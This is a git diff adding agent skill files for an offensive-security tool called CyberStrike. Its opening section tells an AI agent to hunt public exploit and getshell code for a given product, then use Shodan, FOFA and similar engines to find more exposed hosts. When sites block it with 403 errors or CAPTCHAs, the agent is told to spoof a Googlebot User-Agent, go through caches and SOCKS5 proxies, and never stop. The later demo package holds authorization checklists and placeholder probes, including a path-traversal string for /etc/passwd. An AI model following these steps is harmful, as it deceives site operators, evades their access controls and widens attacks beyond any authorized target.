+ terminal: curl -s "https://cve.circl.lu/api/search/{C}/{V}" | python3 -c "import sys,json;[print(x['id'],x.get('summary','')[:80]) for x in json.load(sys.stdin)[:10]]"
+ browser_navigate: https://github.com/advisories?query={C}+{V}
+ browser_navigate: https://www.cvedetails.com/google-search-results.php?q={C}+{V}&sa=Search
+
+2.搜索引擎(至少执行3个,找漏洞分析+PoC):
+ browser_navigate: https://www.google.com/search?q={C}+{V}+exploit+PoC+RCE+site:github.com
+ browser_navigate: https://www.google.com/search?q={C}+{V}+漏洞+利用+复现
+ browser_navigate: https://www.baidu.com/s?wd={C}+{V}+漏洞+利用+poc+getshell
+ browser_navigate: https://www.bing.com/search?q={C}+{V}+CVE+exploit+poc
+ browser_navigate: https://duckduckgo.com/?q={C}+{V}+vulnerability+exploit
+
+3.中文安全社区(必做,中文首发多且深度分析好):
+ browser_navigate: https://xz.aliyun.com/search?keyword={C}+漏洞
+ browser_navigate: https://www.seebug.org/search/?keywords={C}
+ browser_navigate: https://paper.seebug.org/search/?keyword={C}
+ browser_navigate: https://www.freebuf.com/search?search={C}+{V}
+ browser_navigate: https://ti.qianxin.com/vulnerability?keyword={C}
+ browser_navigate: https://www.anquanke.com/search?s={C}
+
+4.GitHub搜PoC/exploit代码(必做,最直接拿利用代码):
+ terminal: curl -s "https://api.github.com/search/repositories?q={C}+{V}+exploit+OR+poc+OR+CVE&sort=updated&per_page=10" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['html_url'],x.get('description','')[:60]) for x in d.get('items',[])]"
+ terminal: curl -s "https://api.github.com/search/code?q={C}+RCE+OR+shell+OR+exploit+language:python&per_page=5" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['html_url']) for x in d.get('items',[])]"
+ terminal: curl -s "https://api.github.com/search/repositories?q={C}+CVE&sort=stars&per_page=5" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['stargazers_count'],'★',x.get('description','')[:50]) for x in d.get('items',[])]"
+ 找到仓库后: curl -s "https://api.github.com/repos/{owner}/{repo}/readme" | python3 -c "import sys,json,base64;print(base64.b64decode(json.load(sys.stdin)['content']).decode())"
+
+5.资产引擎(找同类目标/暴露面):
+ browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'app="{C}"' | base64)
+ browser_navigate: https://www.shodan.io/search?query={C}+{V}
+ browser_navigate: https://www.zoomeye.org/searchResult?q={C}
+ browser_navigate: https://search.censys.io/search?resource=hosts&q=services.software.product:{C}
+
+6.即时情报(最新0day/在野利用):
+ browser_navigate: https://x.com/search?q={C}+CVE+OR+0day+OR+exploit&f=live
+ browser_navigate: https://www.reddit.com/r/netsec/search/?q={C}&sort=new&t=month
+ browser_navigate: https://www.exploit-db.com/search?q={C}
+
+7.扩展链(必做): 搜完{C}后,提取其依赖清单(package.json/pom.xml/requirements.txt/go.mod)→对每个依赖重复1-6
+
+🔴搜索受阻处理序列(碰到403/验证码/空结果/超时→按序执行不放弃):
+ ①换UA: curl -H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" "{URL}"
+ ②Jina读取器: browser_navigate: https://r.jina.ai/{原始URL}
+ ③Google缓存: browser_navigate: https://webcache.googleusercontent.com/search?q=cache:{域名}+{关键词}
+ ④Archive: browser_navigate: https://web.archive.org/web/{URL}
+ ⑤GitHub API替代(GitHub页面拦但API不拦): 用上面第4步的curl命令
+ ⑥换引擎: Google拦→执行Bing/DuckDuckGo/百度; 百度拦→执行Google/Bing
+ ⑦走代理: 按 `proxy-tool-bootstrap` 序列获取SOCKS5代理后重试
+ 全部受阻仍无结果→写负Fact"已搜{C} {V}全渠道无公开漏洞"→转 `zero-day-discovery`
+```
+
diff --git a/skills/cyberstrike-eino-demo/FORMS.md b/skills/cyberstrike-eino-demo/FORMS.md
new file mode 100644
index 00000000..e0435b9a
--- /dev/null
+++ b/skills/cyberstrike-eino-demo/FORMS.md
@@ -0,0 +1,8 @@
+# 表单 / 检查项(示例)
+
+本文件演示 **Level 3** 资源:与主说明分离,按需通过多代理 **`skill`** 或 HTTP `resource_path=FORMS.md` 加载。
+
+## 授权检查表
+
+- 书面授权是否在有效期内?
+- 测试范围(域名 / IP)是否与授权一致?
diff --git a/skills/cyberstrike-eino-demo/REFERENCE.md b/skills/cyberstrike-eino-demo/REFERENCE.md
new file mode 100644
index 00000000..4dbd27b3
--- /dev/null
+++ b/skills/cyberstrike-eino-demo/REFERENCE.md
@@ -0,0 +1,14 @@
+# API / 参考(示例)
+
+## HTTP `/api/skills/{id}`
+
+- `resource_path`:包内相对路径,例如 `FORMS.md`、`scripts/payloads.txt`。
+- `depth=summary`:仅摘要与目录,适合首轮检索。
+
+## 多代理运行时
+
+- 使用 Eino ADK **`skill`** 工具按技能包渐进加载;可选开启 `multi_agent.eino_skills.filesystem_tools` 访问包内文件。
+
+## 链接
+
+- [Agent Skills 概览](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview)
diff --git a/skills/cyberstrike-eino-demo/SKILL.md b/skills/cyberstrike-eino-demo/SKILL.md
new file mode 100644
index 00000000..965e7d6b
--- /dev/null
+++ b/skills/cyberstrike-eino-demo/SKILL.md
@@ -0,0 +1,65 @@
+---
+name: cyberstrike-eino-demo
+description: 满配示例技能包:SKILL.md + scripts/、references/、assets/ 等可选目录;验证 Eino skill 与 HTTP 包内路径(仅授权安全测试与教学)。
+---
+
+# CyberStrike × Eino 满配技能演示
+
+本包与 [Agent Skills](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview) 一致:**`SKILL.md` 为清单 + 主说明**(无单独 `SKILL.yaml`)。同目录可有 **`scripts/`**、**`references/`**、**`assets/`** 等任意子目录(只要路径安全、未触达包深度/文件数上限),由 **`ListPackageFiles` / `resource_path`** 与 Eino 本机工具读取。补充说明见 `FORMS.md`、`REFERENCE.md`。
+
+## 概述
+
+用于一次性验证:
+
+- HTTP `GET /api/skills` 列表(`script_count`、`file_count`、`progressive` 等为推导/扫描结果)
+- `GET /api/skills/cyberstrike-eino-demo?depth=summary|full`
+- `section=` 对应 `SKILL.md` 中 **`##` 标题**或 ASCII 标题的短 id(例如 `## Payload 样例` 常对应 `section=payload`)
+- 多代理内 ADK **`skill`** 工具(及可选本机文件工具)读取包内相对路径资源
+- Eino `FilesystemSkillsRetriever` 对包摘要、`##` 分块、脚本条目的检索
+
+**硬性要求**:任何测试须取得书面授权,并限定在约定范围与时间窗口内。
+
+## 授权测试工作流
+
+1. **范围确认**:域名 / IP、接口列表、禁止动作(DoS、数据拖库等)。
+2. **基线记录**:对约定资产做只读探测,保存时间戳与原始请求/响应摘要。
+3. **分类测试**:按漏洞类型拆分任务;高风险操作前二次确认授权边界。
+4. **证据与报告**:每个发现附带复现步骤、影响、修复建议;敏感数据脱敏。
+5. **收尾**:删除临时账号、清理测试数据、移交报告。
+
+## Payload 样例
+
+以下为 **教学占位**,实际测试需替换为目标上下文且不得用于未授权系统:
+
+- SQLi 探测(错误型):`"'`(观察是否触发数据库错误信息泄露)
+- XSS 反射型(无害化):`` → 在靶场中应被编码或 CSP 拦截
+- 路径穿越(只读验证):`....//....//etc/passwd`(仅在授权文件读取场景)
+
+详细列表见 `scripts/payloads.txt`。
+
+## references/ 与 assets/
+
+用于验证非 `scripts/` 的子目录是否被同等对待:
+
+| 路径 | 用途 |
+|------|------|
+| `references/citations.md` | 引用与 HTTP `resource_path` 测试说明 |
+| `assets/README.txt` | 占位资源(可换成真实二进制做读文件上限测试) |
+
+## 推荐工具链
+
+| 阶段 | 工具示例 |
+|------|-----------|
+| 代理与重放 | Burp Suite、mitmproxy |
+| 扫描与目录 | ffuf、nuclei(需调低并发遵守授权) |
+| 漏洞验证 | 自写 PoC、官方 CLI(sqlmap 等)仅在授权范围内 |
+| 记录 | Markdown + JSON 片段模板(见 `scripts/report-snippet.json`) |
+
+## 清单与验证
+
+- [ ] 已保存书面授权与测试窗口
+- [ ] `scripts/` 下文件与正文引用一致
+- [ ] Web 或 `GET /api/skills?...` 可核对索引;多代理会话内用 **`skill`** 工具按包加载以节省 token
+- [ ] 需要细节时通过 **`skill`** 拉全文,或 HTTP `depth=full`、`section=<标题或短 id>`
+- [ ] 需要脚本原文时通过本机文件工具或 HTTP `resource_path=scripts/check-env.sh`
+- [ ] `resource_path=references/citations.md` 与 `resource_path=assets/README.txt` 可读取
diff --git a/skills/cyberstrike-eino-demo/assets/README.txt b/skills/cyberstrike-eino-demo/assets/README.txt
new file mode 100644
index 00000000..64241482
--- /dev/null
+++ b/skills/cyberstrike-eino-demo/assets/README.txt
@@ -0,0 +1,8 @@
+CyberStrike skill package — assets/ smoke test
+==============================================
+
+This plain-text file checks that arbitrary subfolders under a skill package
+(e.g. assets/) are listed and readable via /api/skills/...?resource_path=...
+
+You may replace this with real binaries (images, zips, etc.) in authorized tests.
+Max read size is enforced by the server (see skillpackage default limits).
diff --git a/skills/cyberstrike-eino-demo/references/citations.md b/skills/cyberstrike-eino-demo/references/citations.md
new file mode 100644
index 00000000..cea948d2
--- /dev/null
+++ b/skills/cyberstrike-eino-demo/references/citations.md
@@ -0,0 +1,13 @@
+# 引用与外链(示例)
+
+本文件用于验证技能包内 **`references/`** 目录是否被列表 API、HTTP `resource_path` 及多代理本机文件工具正常识别。
+
+## 测试方式(授权环境内)
+
+1. `GET /api/skills/cyberstrike-eino-demo` 响应中的 `package_files` 应包含 `references/citations.md`。
+2. `GET /api/skills/cyberstrike-eino-demo?resource_path=references/citations.md` 应返回本文内容。
+3. 多代理且开启 `eino_skills.filesystem_tools` 时,可通过相对路径读取本文件。
+
+## 占位引用
+
+- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)(仅作链接格式示例)
diff --git a/skills/cyberstrike-eino-demo/scripts/check-env.sh b/skills/cyberstrike-eino-demo/scripts/check-env.sh
new file mode 100644
index 00000000..d6bda088
--- /dev/null
+++ b/skills/cyberstrike-eino-demo/scripts/check-env.sh
@@ -0,0 +1,7 @@
+#!/usr/bin/env bash
+# Demo only — not executed by CyberStrike server; safe to display when previewing the skill package.
+set -euo pipefail
+echo "cyberstrike-eino-demo / scripts/check-env.sh"
+echo "Purpose: illustrate bundled script resource in a skill package."
+echo "This script does not modify the system when shown in a preview or read-only context."
+uname -s 2>/dev/null || echo "(uname unavailable in display context)"
diff --git a/skills/cyberstrike-eino-demo/scripts/payloads.txt b/skills/cyberstrike-eino-demo/scripts/payloads.txt
new file mode 100644
index 00000000..2c6b0429
--- /dev/null
+++ b/skills/cyberstrike-eino-demo/scripts/payloads.txt
@@ -0,0 +1,4 @@
+# Placeholder payloads for authorized testing labs only.
+sqli-probe: '
+xss-probe: